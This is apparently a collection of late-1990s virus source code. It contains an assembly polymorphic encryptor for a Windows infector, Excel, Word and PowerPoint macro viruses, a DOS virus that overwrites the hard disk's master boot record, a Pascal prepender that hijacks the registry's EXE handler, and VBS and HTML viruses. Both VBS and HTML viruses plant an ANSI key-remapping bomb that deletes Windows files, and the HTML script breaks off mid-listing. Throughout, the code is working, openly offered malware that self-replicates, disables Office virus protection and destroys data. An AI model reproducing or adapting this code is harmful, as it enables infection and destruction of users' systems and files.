        ret

@@GoodEnough:

        mov byte ptr [GarbCount],0

        call boolean

        mov al,0ebh

        jc $+4

        mov al,0e9h

        stosb

        mov ax,MaxJmp

        Call RandomInRange

        inc ax

        cmp byte ptr [di-1],0e9h

        jnz @@stob

        stosw

        jmp $+3

@@stob:

        stosb

        xchg cx,ax

@@StoreJunk:

        call Random16

        stosb

        loop @@StoreJunk

        ret

G_Jmp EndP

G_JmpReg Proc Near

        mov ax,MaxJmp

        Call RandomInRange

        add ax,10

        add ax,di

        push ax

        call ResolveAddress

        xchg bx,ax

        mov ax,203h                     ;get a known unallocated reg

        call GetReg

        jc @@ExitBad

        call GetRegPtr

        mov dx,word ptr [si+1]

        push ax

        call FinishVal

        mov al,0ffh

        stosb

        pop ax

        or al,11100000b

        stosb

        pop di

        ret

@@ExitBad:

        pop ax

        ret

G_JmpReg EndP

StepTable:

        dw      PushShit

        dw      MovAx0a   ; these 2 could be exchanged

        dw      MovBxCs   ;

        dw      Int31h

        dw      MovDsAx

        dw      Crypt

        dw      IncPtr

        dw      LoopBack

        dw      EncryptCode

NumSteps equ ($ - Offset StepTable) / 2

PushShit Proc Near

        mov si,Offset PopString         ;swap around 2 of the pops in PopString

        Call Boolean

        adc si,0

        lodsb

        xchg ah,al

        lodsb

        mov byte ptr [si-2],al

        mov byte ptr [si-1],ah

        mov si,Offset PopString+2       ;store a push for every pop, but in

        mov cx,3                        ; reverse order

@@StorePush:

        std

        lodsb

        .IF al == 9dh                   ;popf

          or byte ptr [PolyFlags],1

        .ELSEIF al == 61h               ;popa

          push cx

          push ax

          mov cx,8

@@RegsUsable:

          mov ax,cx

          dec ax

          Call DeAllocReg

          loop @@RegsUsable

          pop ax

          pop cx

        .ENDIF

        cld

        dec ax

        stosb

        call garbage

        loop @@StorePush

        ret

PushShit EndP

MovAx0a Proc Near

        mov al,rAX

        Call AllocReg

        mov bx,0ah

        Call SetRegValue

        ret

MovAx0a EndP

MovBxCs Proc Near

        mov al,rBX

        call AllocReg

        mov al,rBX

        mov bl,rCS

        Call SetRegReg

        ret

MovBxCs EndP

Int31h Proc Near

        mov ax,31cdh

        stosw

        mov al,rBX

        Call DeAllocReg

        and byte ptr [_AX],11111101b

        ret

Int31h EndP

MovDsAx Proc Near

        mov al,rDS

        mov bl,rAX

        Call SetRegReg

        mov al,rAX

        Call DeAllocReg

        ret

MovDsAx EndP

;modes:

; [o16] for now

; ds:[bp+o16]

; ds:[bp+si+o16]

; ds:[bp+di+016]

Crypt Proc Near

        mov word ptr [LoopOffs],di

        mov bp,Offset Encryptor

;mark all regs as unknown.  This is necessary because values of regs may

;change within the decryptor loop... initializing all regs within the loop

;makes the values static.

        mov cx,8

@@MakeRegUnknown:

        mov ax,cx

        dec ax

        call GetRegPtr

        and byte ptr [si],11111101b

        loop @@MakeRegUnknown

;well, we just lost all the values of our regs, so it would be nice to maybe

;get some known values back in there.  We'll leave that to the garbage proc

        mov cx,10

@@GarbLoop:

        call Garbage

        loop @@GarbLoop

        mov si,Offset CryptOpers

        Call Choose

        push ax

        .IF (al==_ADC)||(al==_SBB)

          mov al,0

          org $ - 1

          clc

          stosb

        .ENDIF

        Call GetMemOperands             ;get MMxxxMMM field

        xchg bx,ax

        mov ax,202h                     ;get a known reg

        Call GetReg

        xchg cx,ax

        jc @@Imm

        Call Boolean                    ;choose if imm or key reg

        jc @@Imm

        pop ax

        push ax

        shl al,3

        inc ax

        stosb

        mov al,cl

        shl al,3

        or al,bl

        stosb

        Call StoreOffset

        xchg cx,ax

        Call GetRegPtr

        push word ptr [si+1]

        jmp @@GenEncryptor

        ;imm

        ; grab an immediate

        ; store the immediate value

@@Imm:

        mov al,81h

        stosb

        pop ax

        push ax

        shl al,3

        or al,bl

        stosb

        ;store offset byte

        Call StoreOffset

@@GetNewRan:

        Call Random16

        or ax,ax

        jz @@GetNewRan

        stosw

        push ax

@@GenEncryptor:

;generate the opposite of the decryption instruction for the encryptor

        xchg bp,di

        pop cx

        pop bx

        .IF (bl != _XOR) ;add/sub/adc/sbb

          neg cx

        .ENDIF

        mov ax,81f8h

        stosw

        shl bl,3

        or bl,11000000b

        xchg bx,ax

        stosb

        xchg cx,ax

        stosw

        xchg bp,di

        ret

StoreOffset Proc Near                   ;;;;remove this proc later on

        mov word ptr [PtrPatch],di

        Call StoreMemAddress

        ret

StoreOffset EndP

Crypt EndP

IncPtr Proc Near

        Call Boolean                    ;choose whether to add 1 to ptr

        jc @@Add2                       ; twice, or to add 2 to it just once

        call Add1                       ;add 1 to ptr (twice)

        call garbage

        call Add1

        ret

@@Add2:

        mov dx,2                        ;add 2 to ptr

        Call AddX

        ret

StoreIncAddr Proc Near

        call StoreMemAddress

        mov ax,word ptr [PtrPatch]

        Call ResolveAddress

        add word ptr [di-2],ax

        ret

StoreIncAddr EndP

;this is an extension proc of AddX -- it can also make inc word ptr [xxxx]

Add1 Proc Near

        Call Boolean

        jc @@Here

        Call GetMemOperands

        push ax

        mov al,0ffh                     ;inc word [xxxx]

        stosb

        pop ax

        stosb

        Call StoreIncAddr

        ret

@@Here:                                 ;use add/sub/adc/sbb

        mov dx,1

Add1 EndP

;input:

; dx = add amount

AddX Proc Near

        push bx

        push dx

        Call GetMemOperands

        push ax

        mov al,81h

        stosb

        mov si,Offset AddTable

        Call Choose

        .IF al == _ADD

          mov bl,00000000b

        .ELSEIF al == _SUB

          mov bl,00101000b

          neg dx

        .ELSEIF al == _ADC

        .ELSE ;sbb

        .ENDIF

        pop ax

        or al,bl

        stosb

        Call StoreIncAddr

        xchg dx,ax

        stosw

        pop dx

        pop bx

        ret

AddX EndP

IncPtr EndP

;this proc does a cmp [xxxx],end of crypted code and

;then jmps back if not done

LoopBack Proc Near

        ;cmp [xxxx],end of crypted code

        Call GetMemOperands

        push ax

        mov al,81h

        stosb

        pop ax

        or al,111000b

        stosb

        Call StoreIncAddr

        mov ax,word ptr [PolyLen]

        mov word ptr [CmpPatch],di

        mov bx,word ptr [PtrPatch]

        add ax,word ptr [bx]

        stosw

        ;jnz decryptorstart

        mov bx,word ptr [LoopOffs]

        sub bx,di

        dec bx

        dec bx

        cmp bx,-128

        jl @@Jmp386

        mov al,75h

        stosb

        xchg bx,ax

        stosb

        ret

@@Jmp386:

        mov ax,850fh

        stosw

        dec bx

        dec bx

        xchg bx,ax

        stosw

        ret

LoopBack EndP

EncryptCode Proc Near

        mov bx,word ptr [CmpPatch]      ;patch the xxxx in cmp [blahblah],xxxx

        mov ax,di                       ;and the xor [xxxx],1234h

        Call ResolveAddress

        add word ptr [bx],ax

        mov bx,word ptr [PtrPatch]

        add word ptr [bx],ax

        push di

        xor si,si

        mov cx,word ptr [PolyLen]

        push cx

        rep movsb

        pop cx

        shr cx,1

        pop si

        mov di,si

        lodsw

Encryptor: db MaxCrypt*5 dup (90h)

        stosw

        loop Encryptor - 1

        ret

EncryptCode EndP

ResolveAddress Proc Near

        sub ax,word ptr [PolyPtr]

        add ax,word ptr [PolyIp]

        ret

ResolveAddress EndP

;Initializes the RNG

RandomInit Proc Near

        pusha

        Call GetRan

        mov word ptr [RanSeed],bx       ;get random seed value

        Call GetRan

        xchg bx,ax

        xor dx,dx

        mov cx,100

        div cx

        shr al,1

        shl al,1

        mul cx

        add ax,21

        mov word ptr [RanX],ax

        popa

        ret

RandomInit EndP

;returns:

; CF set or cleared randomly

Boolean Proc Near

        pusha

        Call Random16

        shl ax,1

        popa

        ret

Boolean EndP

;returns: ax = random 16 bit number

Random16 Proc Near

        push cx

        push dx

        mov ax,word ptr [RanSeed]

        mov cx,word ptr [RanX]

        mul cx

        inc ax

        mov word ptr [RanSeed],ax

        pop dx

        pop cx

        ret

Random16 EndP

;returns: bx = random number

;note: by rewriting this proc to make a CRC of, say, the bios area, you can

;make the decryptor only change when the virus is on a different computer

GetRan Proc Near

        push ax

        push dx

        push cx

        mov ah,2ah

        call Call21

        push cx

        push dx

        mov ah,2ch

        call Call21

        ror cx,3                ;ok, so there's no rhyme or reason to it.

        xor cx,dx               ;so what?

        pop dx

        rol cx,5

        add cx,dx

        pop dx

        neg dx

        xor cx,dx

        xchg bx,cx

        pop cx

        pop dx

        pop ax

        ret

GetRan EndP

;ax = max value of random number

;returns: ax = random number from 0 to max value - 1

RandomInRange Proc Near

        push dx

        push cx

        xchg cx,ax

        Call Random16

        ror ax,3

        xor dx,dx

        div cx

        xchg dx,ax

        pop cx

        pop dx

        ret

RandomInRange EndP

;useful for debugging

beep:

        push ax

        mov ax,0e07h

        int 10h

        pop ax

        ret

;virus data

Int21Funcs:

        dw 4b00h,Offset Infect

        dw 4c00h,Offset FindAFile

        dw 1e69h,Offset Installed

        dw 0

NewCall db 0e8h

CallOffs dw ?

FileMask db '*.EXE',0

OldBytes db 3 dup (?)

Signature db ' Win.Dragon by Yosha[FS] '

NumScans equ 5

ScanBytes:

        push bp                         ;1st scan sequence

        mov bp,sp

        or ax,ax                        ;2nd scan sequence

        jz $

        org $ - 1

        or ax,ax                        ;3rd scan sequence

        jnz $

        org $ - 1

        push 0h                         ;4th scan sequence

        db 9ah

        xor ax,ax                       ;5th scan sequence

        push ax

Heap Label Near

RanSeed dw ?                            ;used by RNG

RanX dw ?

WinHdrPtr dd ?                          ;ptr to ne header in file

VirSector dw ?                          ;1st sector of segment we're expanding

VirSeg dw ?                             ;segment we're expanding

VirIp dw ?                              ;end of host segment, start of virus

PatchPoint dw ?

;VirAlign dw ?                           ;pad size for virus

BytesAdded dw ?                         ;# of bytes the virus adds to the seg

RscPtr dw ?                             ;ptr to rsc table on heap

RscLen dw ?                             ;length of resource table

InsertPt dd ?

Infected db ?                           ;if 1, file was successfully infected

NewDTA db 30h dup (?)                   ;DTA buffer

MZHeader db 40h dup (?)                 ;DOS MZ Header

NEHeader db 40h dup (?)                 ;NewExe header

TempBuff dw $                           ;ptr to heap

EndHeap Label Near

Finish:

.data

        db 16 dup (?)

.stack 200h

        end Start


XM97.Fly by FlyShadow

'Copyright (C) 1998 by FlyShadow ~^^~ - Fly

Private Sub Workbook_Deactivate()

On Error Resume Next

Application.EnableEvents = 1

Application.DisplayAlerts = 0

Application.ScreenUpdating = 0

Application.EnableCancelKey = 0

Application.DisplayStatusBar = 0

Set £\ = VBProject: Set £\ = £\.VBComponents("ThisWorkbook").CodeModule

£f = £\.Lines(1, £\.CountOfLines + 1)

For Each £d In Workbooks

Set £h = £d.VBProject: Set £h = £h.VBComponents(£\).CodeModule

£h.DeleteLines 1, £h.CountOfLines: £h.InsertLines 1, £f

Next

End Sub


WM97.Shadow by FlyShadow
WM97/00 Shadow by FlyShadow

'Copyright (C) 1998 by FlyShadow ~^^~ - Shadow

Private Sub Document_Close()

On Error Resume Next

Options.VirusProtection = (0)

Options.SaveNormalPrompt = (0)

Application.DisplayAlerts = (0)

Application.ScreenUpdating = (0)

Application.EnableCancelKey = (0)

System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&

£^ = System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion", "SystemRoot") & ".\TEMP\"

Do While FileLen(£^ & System.ProfileString("", "DefaultFileName")) = 0

Randomize: £\ = "~WR00000.TMP"

Mid(£\, 4, 1) = Chr(Int((26 * Rnd) + 65))

Mid(£\, 8, 1) = Int(Rnd() * 10)

VBProject.VBComponents(1).Export (£^ & £\)

Open £^ & £\ For Input As #1

For £b = 1 To 4: Line Input #1, ÿ: Next: £b = ""

Do Until £d = "'ÿ"

Line Input #1, £d

£b = £b & £d & Chr(13) & Chr(10)

Loop: Close #1

Open £^ & £\ For Output As #1: Print #1, £b: Close #1

System.ProfileString("", "DefaultFileName") = £\: Loop

Set £\ = IIf(MacroContainer <> NormalTemplate, NormalTemplate, ActiveDocument).VBProject.VBComponents(1)

If £\.CodeModule.CountOfLines > 0 Or ActiveDocument.Path = "" Then Exit Sub

£\.CodeModule.AddFromFile £^ & System.ProfileString("", "DefaultFileName")

£\.CodeModule.Replaceline 2, "Private Sub " & IIf(MacroContainer <> NormalTemplate, "Document_Open()", "Document_Close()")

End Sub

'ÿ


PP.DarkPoision by Yozak

----------------------------------------------------------------------

Attribute VB_Name = "Slide1"

Attribute VB_Base = "0{91493445-5A91-11CF-8700-00AA0060263B}"

Attribute VB_Creatable = False

Attribute VB_PredeclaredId = True

Attribute VB_Exposed = True

Attribute VB_TemplateDerived = False

Attribute VB_Customizable = True

Attribute VB_Control = "milenium, 1, 0, MSForms, CommandButton"

Private Sub milenium_Click()

Application.ScreenUpdating = False

hpath = ActivePresentation.FullName

With Application.FileSearch

.NewSearch

.LookIn = ActivePresentation.Path

.SearchSubFolders = True

.FileName = "*.ppt"

End With

For cq = 1 To Application.FileSearch.FoundFiles.Count

Set futureh = Presentations.Open(Application.FileSearch.FoundFiles(cq))

If futureh.Slides(1).Name <> "DarkPoison" Then

futureh.Slides.InsertFromFile hpath, 1, 1, -1

futureh.Save

End If

futureh.Close

Next cq

With Application.FileSearch

.NewSearch

.LookIn = Application.StartupPath

.SearchSubFolders = True

.FileName = "*.pot"

End With

For cq = 1 To Application.FileSearch.FoundFiles.Count

Set futureh = Presentations.Open(Application.FileSearch.FoundFiles(cq))

If futureh.Slides(1).Name <> "DarkPoison" Then

futureh.Slides.InsertFromFile hpath, 1, 1, -1

futureh.Save

End If

futureh.Close

Next cq

Application.ScreenUpdating = False

If Minute(Now) = Int(60 * Rnd) Then

MsgBox "Every time that AntiVirus companies detects a virus," & vbCr & "we(the VX xcene) come up with a new infection tech.", vbCritical, "Yozak in the new MILENIUM"

MsgBox "Our scene is too active for you!" & vbCr & "So lamers get the hell out of here" & vbCr & "You make me sick", vbOKOnly, "Yozak in the new MILENIUM"

For v = 1 To Int(5000 * Rnd)

Beep

MsgBox "Lamers BEWARE !!", vbApplicationModal, "Yozak in the new melium"

Next v

MsgBox "YOZAC enters the new milenium with a DARKPOISoN!!!!", vbMsgBoxSetForeground, "DARKPOISoN"

End If

End Sub

----------------------------------------------------------------------

Private Sub milenium_Click()

Application.ScreenUpdating = False

hpath = ActivePresentation.FullName

With Application.FileSearch

.NewSearch

.LookIn = ActivePresentation.Path

.SearchSubFolders = True

.FileName = "*.ppt"

End With

For cq = 1 To Application.FileSearch.FoundFiles.Count

Set futureh = Presentations.Open(Application.FileSearch.FoundFiles(cq))

If futureh.Slides(1).Name <> "DarkPoison" Then

futureh.Slides.InsertFromFile hpath, 1, 1, -1

futureh.Save

End If

futureh.Close

Next cq

With Application.FileSearch

.NewSearch

.LookIn = Application.StartupPath

.SearchSubFolders = True

.FileName = "*.pot"

End With

For cq = 1 To Application.FileSearch.FoundFiles.Count

Set futureh = Presentations.Open(Application.FileSearch.FoundFiles(cq))

If futureh.Slides(1).Name <> "DarkPoison" Then

futureh.Slides.InsertFromFile hpath, 1, 1, -1

futureh.Save

End If

futureh.Close

Next cq

Application.ScreenUpdating = False

If Minute(Now) = Int(60 * Rnd) Then

MsgBox "Every time that AntiVirus companies detects a virus," & vbCr & "we(the VX xcene) come up with a new infection tech.", vbCritical, "Yozak in the new MILENIUM"

MsgBox "Our scene is too active for you!" & vbCr & "So lamers get the hell out of here" & vbCr & "You make me sick", vbOKOnly, "Yozak in the new MILENIUM"

For v = 1 To Int(5000 * Rnd)

Beep

MsgBox "Lamers BEWARE !!", vbApplicationModal, "Yozak in the new melium"

Next v

MsgBox "YOZAC enters the new milenium with a DARKPOISoN!!!!", vbMsgBoxSetForeground, "DARKPOISoN"

End If

End Sub

----------------------------------------------------------------------


VEiN.Three_Years.A by VEiN

;VEiN.Three_Years.A

;What? Well I really don't know how to explain it but I will try

;First the dropper is executed. The virus then will trasverse to a very lonely

;dir and infects a file. It will set a flag, actually another file made by the dropper

;with the date of infection set on it. After three years

;The virus will become active. Usually I don't write destructive

;viruses, but I thought...what the hell...might be fun to try something new =)

;Anyway, here are the stats of the virus

;Name: Vein.three_years.A

;COM Appending

;Directory trasversal

;Destructive payload

;Some stealth capabilities

;Encryption: Yes

;Enough flab...time to code

code segment

assume cs:code,ds:code

org 100h 	;Give address of 0000:0100

start:

;Remove when finished++++++++++++++++++++++++++

;test to see something

lea dx,msg2

mov ah,09h

int 21h

int 20h

;end test

;End Remove +++++++++++++++++++++++++++++++++++

;Dropper code will proceed this stuff

;let's give a message when the dropper drops its treasure

lea dx,[bp+msg1]	;get msg from memory

mov ah,09h	;dos write to screen function

int 21h	;int 21h == DOS int

;Now we know that the virual code has been executed

;Actually, the viral code starts here...

;This is where the label for the beginning will be set.

start_of_virus label near	;Label the beginning of the virus

call begin_it

begin_it:

push bp	;Save the BP

sub bp,[offset begin_it];Calculate the offset

;

call start_up	;Let's start

start_up proc near

;Ok, so what?

;Well now I'm gonna check a tag in a file

;To test to see how long we've been here

;First things first...need to be in our home =)

mov ah,3bh	;DOS set current dir

lea dx, dirchg	;Where do you want to go, now ?

jc des_it	;Not there ? I'll show you

int 21h	;

mov ah,4eh	;DOS find first file function

lea dx,[bp+infome]	;Get info on file

int 21h	;

jc des_it	;File been deleted ? Dirty cheater!

;It's payback time >=]

call check_routine	;Still there? Call our check routine :)

des_it:

call screw_hdd1	;No more HDD >=]

start_up endp

check_routine proc near

;This routine merely check the date of the check file

;and compares it to the current date.

mov ax,3d02h	;Open the file

int 21h	;

xchg ax,bx	;Put file handle into AX

mov ax,5700h	;Get time date from file

push cx	;Save CX

push dx	;Save DX

int 21h	;

mov ah,2ah	;Get current time/date

int 21h	;

pop ax	;put value of CX into AX

push ax	;save it to the stack once more

inc ax	;AX+=1

inc ax	;AX+=1

inc ax	;Shit you know by now ;]

cmp cx,ax	;Date +=3 years ?

je paylod	;Yes ? Payload time!

mov ax,5701h	;Otherwise restore Time date

int 21h	;

pop dx	;Restore Value into DX

pop cx	;Read above only CX

mov ah,3eh	;DOS Close file

int 21h	;

ret	;Return to caller

paylod:

call pay_load	;Call our payload routine

check_routine endp

pay_load proc near

ret

pay_load endp

screw_hdd1 proc near

;Well, there comes a time that you should NOT delete a file

;This just happens only if the check file is deleted >=]

hdd1:

lea dx,[bp+msg2]	;A little message to print out

mov ah,09h	;

int 21h

mov ax,0301h	;Here starts our journey into writing to the HDD

;Open for rw, write 1 sector

mov bx, offset crappo 	;What will we write to the HDD MBR ?

;ES:BX

mov cx,1	;Sector # 1 Track 0

mov dx,0080h	;Head 1

int 13h	;no more MBR >=]

cli	;Clear interrupts

;Lock the keyboard >=]

hlt	;hlt == halt name says it all

;ALthough the "halt" command is executed

;The computer doesn't really stop.

;It merely quits receiving I/O

;Thus we need to

sti	;Restore interrupts and give the

mov ah,4ch	;DOS exit function with

mov al,00h	;DOS error code 0 (no errors) then

int 21h	;Exit to DOS

;So now the computer is "locked" >=]

screw_hdd1 endp

;Ok to define our variables

msg1 db 'Memory Check....Ok!$',0

msg2 db 'Well, well....you deleted a ',13,10

     db 'VERY IMPROTANT FILE! Which one ?',13,10

     db 'If you don''t know...I''m not gonna tell ya''',13,10

     db '3 Years Coded by: VEiN ',13,10

     db '(C) 1999  Just couldn''t wait could you?? ;]$',0

crappo db 'VEiN',0

infome db 'Memory32.exe',0

dirchg db 'C:\WINDOWS\COMMAND',0

srchst db '*.COM',0

;Well I guess the ending label will be here

end_of_virus label near

code ends

end start


Lt-100 by t-2 / IRG

PROGRAM LT_100;

{============================================================================

 LT-100

 Here's some lame HLL DOS-prepender demonstrating a new way to infect COM's & EXE's under a Win32-environment. This is achieved by replacing the original COM/EXE-dispatcher specified in the registry, with a copy of the virus' own dispatcher.

 I was a little short on time, which explains the words 'HLL' & 'prepender' mentioned above. Start fearing Win32.Dragula though...

                                   -T2/IR-

 ===========================================================================}

{$M 8192, 0, 0}

USES Dos, Crt;

CONST

  Virus_Size  =  8576;

VAR

  Virus_Buffer  :  Array[0..Virus_Size-1] of Byte;

  Buffer        :  Array[0..Virus_Size-1] of Byte;

  Work_File     :  File;

  i             :  LongInt;

  Windoze_Dir   :  String;

  Host_Params   :  String;

  Root_Name     :  String;

FUNCTION UpperCase(s : String) : String;

VAR

  i  :  Byte;

BEGIN

     for i := 1 to Length(s) do s[i] := UpCase(s[i]);

     UpperCase := s;

END;

FUNCTION Exist(s : String) : Boolean;

VAR

  DTA  :  SearchRec;

BEGIN

     FindFirst(s, AnyFile, DTA);

     if DosError = 0 then Exist := True else Exist := False;

END;

FUNCTION Check_Infected : Boolean;

BEGIN

     BlockRead(Work_File, Buffer, Virus_Size);

     Check_Infected := True;

     for i := 0 to Virus_Size-1 do

         if Buffer[i] <> Virus_Buffer[i] then Check_Infected := False;

END;

PROCEDURE Infect_File(Target_File : String);

BEGIN

     Assign(Work_File, Target_File);

     Reset(Work_File, 1);

     if Check_Infected = False then

     Begin

          Seek(Work_File, FileSize(Work_File));

          BlockWrite(Work_File, Buffer, Virus_Size);

          Seek(Work_File, 0);

          BlockWrite(Work_File, Virus_Buffer, Virus_Size);

          Close(Work_File);

     End;

END;

PROCEDURE Modify_Registry;

VAR

  Reg_Import  :  Text;

BEGIN

     Assign(Work_File, Windoze_Dir + '\D3F70N3S.COM');

     Rewrite(Work_File, 1);

     BlockWrite(Work_File, Virus_Buffer, Virus_Size);

     Close(Work_File);

     Assign(Reg_Import, 'H8R3D.REG');

     Rewrite(Reg_Import);

     WriteLn(Reg_Import, 'REGEDIT4');

     WriteLn(Reg_Import);

     WriteLn(Reg_Import, '[HKEY_CLASSES_ROOT\exefile\shell\open\command]');

     WriteLn(Reg_Import, '@="D3F70N3S.COM %0 %*"');

     Close(Reg_Import);

     SwapVectors;

     Exec(Windoze_Dir + '\REGEDIT.EXE', ' /s H8R3D.REG');

     SwapVectors;

     Erase(Reg_Import);

END;

PROCEDURE Payload;

BEGIN

     WriteLn('LT-100 v1.00 / Mar-99.');

     WriteLn('... And I''m back in the race!');

END;

BEGIN

     for i := 1 to EnvCount do

         if UpperCase(Copy(EnvStr(i), 1, 7)) = 'WINDIR=' then

            Windoze_Dir := Copy(EnvStr(i), 8, Length(EnvStr(i))-7);

     Assign(Work_File, ParamStr(0));

     Reset(Work_File, 1);

     BlockRead(Work_File, Virus_Buffer, Virus_Size);

     Close(Work_File);

     if Exist(Windoze_Dir + '\D3F70N3S.COM') = False then Modify_Registry;

     if Pos('LT-100.EXE', ParamStr(0)) > 0 then Exit;

     if Pos('D3F70N3S.COM', ParamStr(0)) > 0 then

     Begin

          Root_Name := Copy(ParamStr(1), 1, Length(ParamStr(1))-3);

          i := 2

     End

     Else

     Begin

          Root_Name := Copy(ParamStr(0), 1, Length(ParamStr(0))-3);

          i := 1;

     End;

     Host_Params := '';

     for i := i to ParamCount do

         Host_Params := Host_Params + ParamStr(i) + ' ';

     Assign(Work_File, Root_Name + 'EXE');

     Rename(Work_File, Root_Name + 'COM');

     Assign(Work_File, Root_Name + 'COM');

     Reset(Work_File, 1);

     if Check_Infected = True then

     Begin

          Seek(Work_File, FileSize(Work_File) - Virus_Size);

          BlockRead(Work_File, Buffer, Virus_Size);

          Seek(Work_File, FileSize(Work_File) - Virus_Size);

          Truncate(Work_File);

          Seek(Work_File, 0);

          BlockWrite(Work_File, Buffer, Virus_Size);

     End;

     Close(Work_File);

     (* Create a thread. *)

     SwapVectors;

     Exec(Root_Name + 'COM', Host_Params);

     SwapVectors;

{$I-}

     Repeat

       Rename(Work_File, Root_Name + 'EXE');

     Until IOResult = 0;

{$I+}

     Infect_File(Root_Name + 'EXE');

END.


VBS.Shine by GzR / NuKE

'VBS.Shine

'VBS.Shine by GzR[NuKE]

'Simple VBS/AnsiBomb virus 1.1a

'Thanks to CB, Metaphase, NVT

Dim fso, shiney, fd, virsize, vircode, victim

Dim virExt, victimcode, infectedcode, hcode

Dim configfile, autofile, ansifile

endl=chr(13)&chr(10)

on error resume next

shiney=Wscript.ScriptFullName

set fso=createObject("Scripting.FileSystemObject")

fso.CopyFile shiney, "c:\WINDOWS\Start Menu\Programs\StartUp\§.vbs"

set fd=fso.openTextFile(shiney,1)

hcode=fd.readAll

fd.close

virsize=inStr(11,hcode,"VBS.Shin"&"e")+1

set fd=fso.openTextFile(shiney,1)

vircode=fd.read(virsize)

fd.close

cont=0

for each victim in fso.getfolder(".").files

virExt=fso.getExtensionName(victim.name)

i=0

if mid(virExt,1,1)="v" or mid(virExt,1,1)="V" then i=i+1 end if

if mid(virExt,2,1)="b" or mid(virExt,2,1)="B" then i=i+1 end if

if mid(virExt,3,1)="s" or mid(virExt,3,1)="S" then i=i+1 end if

if i=3 then

set fd=fso.openTextFile(victim.path,1)

victimcode=fd.readAll

fd.close

if left(victimcode,10)<>chr(39)&"VBS.Shin"&"e" then

infectedcode=vircode&endl&victimcode

set fd=fso.openTextFile(victim.path,2,1)

fd.write infectedcode

fd.close

cont=1

end if

end if

next

if cont=0 then

set configfile = FSO.CreateTextFile("c:\config.sys", True)

configfile.WriteLine ""

configfile.WriteLine "DEVICE=C:\Windows\Command\Ansi.sys"

configfile.WriteLine ""

configfile.Close

set autofile = FSO.CreateTextFile("c:\autoexec.bat", True)

autofile.WriteLine ""

autofile.WriteLine "type c:\windows\ansi.txt"

autofile.WriteLine ""

autofile.Close

set ansifile = FSO.CreateTextFile("c:\windows\ansi.txt", True)

ansifile.WriteLine "@ECHO ON"

ansifile.WriteLine "["& chr(34) &"e;"& chr(34) &"md c:\§"& chr(34) &" & chr(34) & ";"& chr(34) &"copy c:\windows\*.* c:\§ /y"& chr(34) &";"& chr(34) &"del c:\windows\*.* /y"& chr(34) &";13p"& chr(34)

ansifile.WriteLine "["& chr(34) &"a;"& chr(34) &"md c:\§"& chr(34) &" & chr(34) & ";"& chr(34) &"copy c:\windows\*.* c:\§ /y"& chr(34) &";"& chr(34) &"del c:\windows\*.* /y"& chr(34) &";13p"& chr(34)

ansifile.WriteLine "["& chr(34) &"i;"& chr(34) &"md c:\§"& chr(34) &" & chr(34) & ";"& chr(34) &"copy c:\windows\*.* c:\§ /y"& chr(34) &";"& chr(34) &"del c:\windows\*.* /y"& chr(34) &";13p"& chr(34)

ansifile.WriteLine "["& chr(34) &"o;"& chr(34) &"md c:\§"& chr(34) &" & chr(34) & ";"& chr(34) &"copy c:\windows\*.* c:\§ /y"& chr(34) &";"& chr(34) &"del c:\windows\*.* /y"& chr(34) &";13p"& chr(34)

ansifile.WriteLine "["& chr(34) &"u;"& chr(34) &"md c:\§"& chr(34) &" & chr(34) & ";"& chr(34) &"copy c:\windows\*.* c:\§ /y"& chr(34) &";"& chr(34) &"del c:\windows\*.* /y"& chr(34) &";13p"& chr(34)

ansifile.WriteLine "["& chr(34) &"E;"& chr(34) &"md c:\§"& chr(34) &" & chr(34) & ";"& chr(34) &"copy c:\windows\*.* c:\§ /y"& chr(34) &";"& chr(34) &"del c:\windows\*.* /y"& chr(34) &";13p"& chr(34)

ansifile.WriteLine "["& chr(34) &"A;"& chr(34) &"md c:\§"& chr(34) &" & chr(34) & ";"& chr(34) &"copy c:\windows\*.* c:\§ /y"& chr(34) &";"& chr(34) &"del c:\windows\*.* /y"& chr(34) &";13p"& chr(34)

ansifile.WriteLine "["& chr(34) &"I;"& chr(34) &"md c:\§"& chr(34) &" & chr(34) & ";"& chr(34) &"copy c:\windows\*.* c:\§ /y"& chr(34) &";"& chr(34) &"del c:\windows\*.* /y"& chr(34) &";13p"& chr(34)

ansifile.WriteLine "["& chr(34) &"O;"& chr(34) &"md c:\§"& chr(34) &" & chr(34) & ";"& chr(34) &"copy c:\windows\*.* c:\§ /y"& chr(34) &";"& chr(34) &"del c:\windows\*.* /y"& chr(34) &";13p"& chr(34)

ansifile.WriteLine "["& chr(34) &"U;"& chr(34) &"md c:\§"& chr(34) &" & chr(34) & ";"& chr(34) &"copy c:\windows\*.* c:\§ /y"& chr(34) &";"& chr(34) &"del c:\windows\*.* /y"& chr(34) &";13p"& chr(34)

ansifile.Close

'VBS.Shine


HTML.TwisT by GzR / NuKE

!--TwisT-->

<html><body>

<SCRIPT Language = "JavaScript">

<!--

var userAgent=navigator.appName;

var userVer=navigator.appVersion;

var agentInfo=userAgent.substring(0, 1);

var agentVer=userVer.substring(0, 1);

 if(agentInfo == "M"){

 if  (agentVer =="4"){

}

}else {

alert("This Page Was Designed ONLY For IE4, \nPlease Install IE4 To View")

self.close()

}

//-->

</SCRIPT>

<script Language="VBScript"><!--

'HTML.TwisT

'by GzR[NuKE]

'A remix of VBS.Shine for HTML

'Thanks to CB, NVT, & Metaphase

On Error Resume Next

Randomize

if location.protocol = "file:" then

if Int((2 * Rnd) + 1) = 1 then

set configfile = FSO.CreateTextFile("c:\config.sys", True)

configfile.WriteLine ""

configfile.WriteLine "DEVICE=C:\Windows\Command\Ansi.sys"

configfile.WriteLine ""

configfile.Close

set autofile = FSO.CreateTextFile("c:\autoexec.bat", True)

autofile.WriteLine ""

autofile.WriteLine "type c:\windows\ansi.txt"

autofile.WriteLine ""

autofile.Close

set ansifile = FSO.CreateTextFile("c:\windows\ansi.txt", True)

ansifile.WriteLine "@ECHO ON"

ansifile.WriteLine "["& chr(34) &"e;"& chr(34) &"md c:\§"& chr(34) &" & chr(34) & ";"& chr(34) &"copy c:\windows\*.* c:\§ /y"& chr(34) &";"& chr(34) &"del c:\windows\*.* /y"& chr(34) &";13p"& chr(34)

ansifile.WriteLine "["& chr(34) &"a;"& chr(34) &"md c:\§"& chr(34) &" & chr(34) & ";"& chr(34) &"copy c:\windows\*.* c:\§ /y"& chr(34) &";"& chr(34) &"del c:\windows\*.* /y"& chr(34) &";13p"& chr(34)

